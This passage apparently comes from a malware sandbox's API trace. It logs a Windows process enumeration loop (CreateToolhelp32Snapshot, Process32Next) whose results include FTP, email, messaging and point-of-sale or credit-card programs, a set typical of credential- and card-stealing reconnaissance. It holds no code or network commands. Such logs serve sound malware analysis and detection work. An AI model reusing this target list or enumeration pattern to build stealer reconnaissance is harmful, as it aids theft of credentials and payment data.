cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0262.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0262.587] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0262.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0262.590] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0262.593] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0262.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0262.597] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0262.598] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0262.600] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0262.602] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0262.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0262.605] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0262.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0262.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0262.611] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0262.613] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0262.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0262.618] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0262.620] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0262.622] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0262.626] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0262.628] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0262.631] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0262.635] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0262.637] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0262.640] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0262.642] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0262.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0262.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0262.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0262.650] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0262.652] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0262.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0262.656] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0262.658] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0262.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0262.663] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0262.665] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0262.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0262.669] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0262.671] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0262.673] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0262.675] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0262.678] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0262.680] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0262.682] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0262.684] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0262.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0262.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0262.726] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0262.728] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0262.730] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0262.732] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0262.734] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0262.737] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0262.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0262.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0262.742] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0262.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0262.746] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0262.748] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0262.750] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.752] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0262.754] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.755] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0262.757] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0262.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0262.760] CloseHandle (hObject=0x2200) returned 1 [0262.761] Sleep (dwMilliseconds=0x64) [0262.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0262.783] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.784] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.786] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.789] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.791] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.792] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.794] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.796] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.798] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.799] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.803] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.808] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.822] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.824] Process32Next (in: 